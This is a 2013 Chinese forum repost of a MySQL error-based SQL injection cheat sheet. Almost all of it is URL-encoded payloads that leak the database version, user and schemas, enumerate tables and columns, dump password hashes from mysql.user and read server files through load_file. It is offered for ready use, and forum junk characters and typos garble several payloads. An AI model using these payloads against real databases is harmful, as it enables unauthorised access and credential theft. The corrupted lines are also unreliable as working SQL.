Mysql暴错注入参考（pdf）

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本帖最后由 Nightmare 于 2013-3-17 14:20 编辑
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$ T4 X" S5 w; y2 _* xMysql暴错注入参考（pdf），每天一贴。。。

2 E& s8 G$ {$ R: F$ JMySql Error Based Injection Reference
[Mysql暴错注入参考]
$ z! t5 b' }0 H9 `( h) WAuthornig0s1992
+ B+ P) `  s3 `5 O4 M$ @Blog:http://pnig0s1992.blog.51cto.com/
TeAm:http://www.FreeBuf.com/
# |/ O. e+ V1 F/ F& D9 FMysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功
5 V1 `# ]6 y8 q+ G小部分版本使用name_const()时会报错.可以用给出的Method.2测试
查询版本:
) ~0 y# n( Z+ Q7 s9 S5 FMethod.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+
join+(select+name_const(@@version,0))b)c)
; S! m6 _# V" w* u: Z2 n3 ^) t- j6 PMethod.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro
up by a)b)
查询当前用户:
Method.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)
7 C. ?: ?0 D3 p0 ]- }Method.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r
and(0)*2))x+from+information_schema.tables+group+by+x)a)
查询当前数据库:
+ G" g7 r3 c5 sMethod.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)
Method.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo
) U& x3 |$ f  b) L3 G; |or(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
) y8 ^' \% |1 i5 v) u, h% u依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+
LIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n
顺序替换
爆指定库数目:
. D  ]2 a0 V% dand+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t
able_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group
- N3 p8 i" e" @$ D) f+by+x)a)+and+1=1 0x6D7973716C=mysql
依次爆表:
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t
* ~; t- b3 @1 U/ f8 s3 m* e: [able_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta
$ j; @9 x8 j. U8 I, h& a5 B5 p3 lbles+group+by+x)a)+and+1=1
0x6D7973716C=Mysql 将n顺序替换
爆表内字段数目:
9 g0 Z* J: Q# X/ Tand+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE
" z; \7 |, k' l* }9 h+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran
! M/ K, B% ^2 f9 f9 Z0 q6 u0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
6 o# E* {2 J, L/ J依次爆字段:
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where
0 c  L( h) v& C6 i2 [. M+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1
loor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1  将n顺序替换
依次暴内容:
- |2 C& h4 c8 |: K  U6 aand+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche
5 d8 r1 K$ v+ k9 ~$ Dma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
8 l1 K/ n+ j% x将n顺序替换
爆文件内容:
and+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a
from+information_schema.tables+group+by+a)b)
; B6 ]: `: }3 H% f1 l0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节
Thx for reading.

% I$ T) b3 v4 P/ H不要下载也可以，
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